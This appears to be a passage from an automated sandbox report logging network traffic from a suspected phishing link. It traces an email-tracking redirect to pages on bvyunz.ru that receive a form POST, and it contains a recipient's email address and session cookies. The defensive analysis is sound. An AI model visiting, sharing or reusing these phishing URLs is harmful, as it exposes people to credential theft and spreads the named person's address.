XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrfxldrv8igGlQYckZu7V6Zj8o0jZ12hZxQ3l1Z23eUerAMZtL0cd240 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /68758729820712400946713QICmuzgBVSUHSLVZWWCONFQXTHNLXFTVNABRJADCBrsLW62r4L3zYsS12kCyvuv40 HTTP/1.1Host: vcgxa7ugi0kfq2ga6pwzljoveuwy1gqgkq2et1mmu6e2inh4vefamvp.erisxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kc4aTzflY0WS9C9KyHmqQuGZwKOOmnAn9g9cnaj94Rih3dicllky9ZHo9y HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBzQy8rQnF4Y0NJMlFmVStkRklxYnc9PSIsInZhbHVlIjoiTDdPTE1OcjBuSTcrTEtEOUI3ekNuK2hoVXp4MjFNTXBtOUJLajhSZXVGb0ZtaThjL1VIendQdEtZM0kwdGZPQjV4N2pNQUR4cVBobTZmVzhLTFRJT1dacjRneW9mZkN3a1REdGJBdmV0dmF3N0ZQWGc5M1grbzc1Lyt5blF6dXUiLCJtYWMiOiIzNzY3MzUzMmMxODYwM2U4NWQ3ZmQ5N2YzNzRkYjk5NzMxZGU4YWZmZjNmN2MyMzYyZTA2ZWJhNTNjMDk3MTdjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNwWnNEN1FVL2VBUGZPdVE4QklGN1E9PSIsInZhbHVlIjoiaWdvLzBVaXQvYVFpT0F3WGR6RXUvK09mNTVnaGdZUXVUaE0wQVRWVzFBdG45MitXTHAyZHdsY1FrbGFpWXJMbi9wS1VFUmd6MlIwMW1FYW5QRkoybHlSajBzYkxJM3A3WW1iVlFqM2tMZW0yV3RkcW04Z1hZNkhoYzF2ckEyKzEiLCJtYWMiOiIyODVlYjA5N2FhNDExZDQ3NWM2YWFjODBiM2NkNTM3ODk2ZDI1ZDMxMzdlYWI2MDQzNWU4NGIxOWMwMmFjYjE3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1Host: emailtracking.scopeappointmentforyou.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: emailtracking.scopeappointmentforyou.com
Source: global traffic	DNS traffic detected: DNS query: o0o6.bvyunz.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: bk6s.xqwqkd.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: vcgxa7ugi0kfq2ga6pwzljoveuwy1gqgkq2et1mmu6e2inh4vefamvp.erisxw.es

Source: unknown

HTTP traffic detected: POST /nmMmSdPwpaBxTnqpnmfTe0eEsidS7PO9kIHQfu HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6M0o7AWaofhMlgzZsec-ch-ua-mobile: ?0Accept: */*Origin: https://o0o6.bvyunz.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRpbFRUQWhOdTlCYzhjYUZZc1dJalE9PSIsInZhbHVlIjoiTXMzMGJQRW1yOXJPL0ZjSm1CWUtiVXZhY0xjalJ5NFBlZzEzcWdFUUxjUDg4Z0FwTCtwUUdxNmF1UDJvNXJ3K2ZDa3g0MGptL215QzZ6SEpzbm9oNkhYQ3FhMTdsempaNmpMaFNmZW5xQjlyeXNKYU92dUtIUEplaUlTQzZ0UEciLCJtYWMiOiJjM2RkNmFlNGUyN2FlMzZhNTQwZmQ0OTg0ZjNkMjk1MjA3NmRhZGI4NTJiNTY3ZjJlOTQ4ZjliZmEzZmE4MWE0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBXWUNXNlR0WWJKZnJEQlhWdXJVT3c9PSIsInZhbHVlIjoiYzFCVEUyUEpDeDNkSzNSSjVLcEs5OGFSc0IrRVl3dU0xdWJRUEhWRmNJVUtCcms5cUQvMWVzZXExOVZqdjdzYmp5UlIzMWZkc0Rsb3p4ak5ocGdVQ20vdHd3RFE0UnEyREdmUXlGODdjVytjTkpWaGlwNXZXL0ZSaGl6WFdyM1ciLCJtYWMiOiJlYjgzNDAyMDc3MGNmMDBiOTUxN2UxYjljMTdmNzhkMjljNjMwMjk5OTc5M2VlYWY1OWI4YjFhMDNjNDc0MjEwIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 17:17:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=egrgXoIpJsGqMyHLn6e6fulqtxqkXieGCUxZIv%2BtUquQvEDIK4tcn2aAam0M3S%2BGwH3dAI6OyEiSVN9PGYLp2kJGX7o%2BYYns7Jjk75YtmRfCwGZ1zwQa9BEdqg03DPS5Okso"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=54626&min_rtt=54130&rtt_var=20653&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2049&delivery_rate=53500&cwnd=251&unsent_bytes=0&cid=576ba7ed73718a89&ts=174&x=0"Server: cloudflareCF-RAY: 922661faad61c333-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1522&min_rtt=1515&rtt_var=573&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1711&delivery_rate=1927392&cwnd=95&unsent_bytes=0&cid=07e7478f8cc4126c&ts=698&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 17:17:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nNEXskIwfNuWcdW%2FRorxk87%2F5JJHKNPOFwPiTmdflxB3O98rGfywsNysHnpB4WMxwg4ZbYEJJIwpb2pa5mQHa6qSU2LzYFWDUCMhxcyVWwl74LNSLjhE4Uqab2ptQuD2Tg4c"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=41936&min_rtt=41859&rtt_var=15752&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2256&delivery_rate=69184&cwnd=191&unsent_bytes=0&cid=ed78ad19c2693aa4&ts=202&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 922662027b5f8c6f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2071&min_rtt=2069&rtt_var=781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1917&delivery_rate=1397797&cwnd=207&unsent_bytes=0&cid=4f6f746df4963837&ts=695&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 17:17:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6S77x1m7Hpd%2BY3z%2Fi8Z4w2Z8PaxMgVaURVEnBN9cesCLaO8QTL6Wutkgd0fS9V%2BSl1gMW2FBCULGPcAPv2yNRmuxfMdWkOEGoLBOmUt9M0UvXj0qDKH%2FZS8jfBbykzqls%2BaK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=51361&min_rtt=51208&rtt_var=19312&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2056&delivery_rate=56553&cwnd=251&unsent_bytes=0&cid=ea12ba2e766c970e&ts=154&x=0"Server: cloudflareCF-RAY: 92266205efc6a4c6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2441&min_rtt=2437&rtt_var=922&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1718&delivery_rate=1181229&cwnd=119&unsent_bytes=0&cid=f7dc4d7fe38a9226&ts=631&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 17:17:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dYiyVbYnDlMQ02CDv75TScBucWnkjdb18U%2FYCC8YZi1D1Cm88WC4gZ%2FCCxCySflFxgrBUctFw6F8uJyBQ8pmK1i1xTCQSyGWcMljuUqTBF84EHOZReIiiT9cY5qbAGrSB77S"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1141&min_rtt=1129&rtt_var=448&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2069&delivery_rate=2356387&cwnd=251&unsent_bytes=0&cid=a6e4c0f73bef91c6&ts=100&x=0"Server: cloudflareCF-RAY: 922662201968efa7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2188&min_rtt=2120&rtt_var=932&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1731&delivery_rate=1093632&cwnd=148&unsent_bytes=0&cid=c65725a7f3ddf00f&ts=473&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 17:17:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dTeHnMSkcsFguy1BdnoXzYvIxjQPv7VW%2BXxlvyQqRXQRbza018tORQhqu%2FDbooEMRChn%2FRJcNgjdAoK0g7VYe%2Fgmy%2BkRpo9DkpIBZnuK6iYthYPoMb7mBRuwdI0BiJGzKl0P"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=44002&min_rtt=43933&rtt_var=16524&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2068&delivery_rate=65918&cwnd=251&unsent_bytes=0&cid=30a90540b834b02b&ts=146&x=0"Server: cloudflareCF-RAY: 9226627bdeb27b0e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1954&min_rtt=1947&rtt_var=745&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1731&delivery_rate=1455633&cwnd=118&unsent_bytes=0&cid=d1e47797b9678394&ts=584&x=0"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_304.3.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_304.3.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_270.3.dr	String found in binary or memory: https://www.amazon.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54419
Source: unknown	Network traffic detected: HTTP traffic on port 54427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54412
Source: unknown	Network traffic detected: HTTP traffic on port 54376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54414
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54381
Source: unknown	Network traffic detected: HTTP traffic on port 54382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54386
Source: unknown	Network traffic detected: HTTP traffic on port 54413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54385
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54383
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54428
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54387
Source: unknown	Network traffic detected: HTTP traffic on port 54407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54420
Source: unknown	Network traffic detected: HTTP traffic on port 54424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54426
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54430
Source: unknown	Network traffic detected: HTTP traffic on port 54385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54394
Source: unknown	Network traffic detected: HTTP traffic on port 54399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 54418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54433
Source: unknown	Network traffic detected: HTTP traffic on port 54374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54399
Source: unknown	Network traffic detected: HTTP traffic on port 54421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54398
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54435
Source: unknown	Network traffic detected: HTTP traffic on port 54415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 54394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 54437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54971
Source: unknown	Network traffic detected: HTTP traffic on port 54423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54408
Source: unknown	Network traffic detected: HTTP traffic on port 54405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54407
Source: unknown	Network traffic detected: HTTP traffic on port 54430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54406
Source: unknown	Network traffic detected: HTTP traffic on port 54398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54401
Source: unknown	Network traffic detected: HTTP traffic on port 54422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54400
Source: unknown	Network traffic detected: HTTP traffic on port 54390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54402
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54374
Source: unknown	Network traffic detected: HTTP traffic on port 54387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 3.24.57.108:443 -> 192.168.2.4:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.24.57.108:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.36:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:54375 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:54377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:54383 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:54384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:54398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:54399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:54400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:54403 version: TLS 1.2
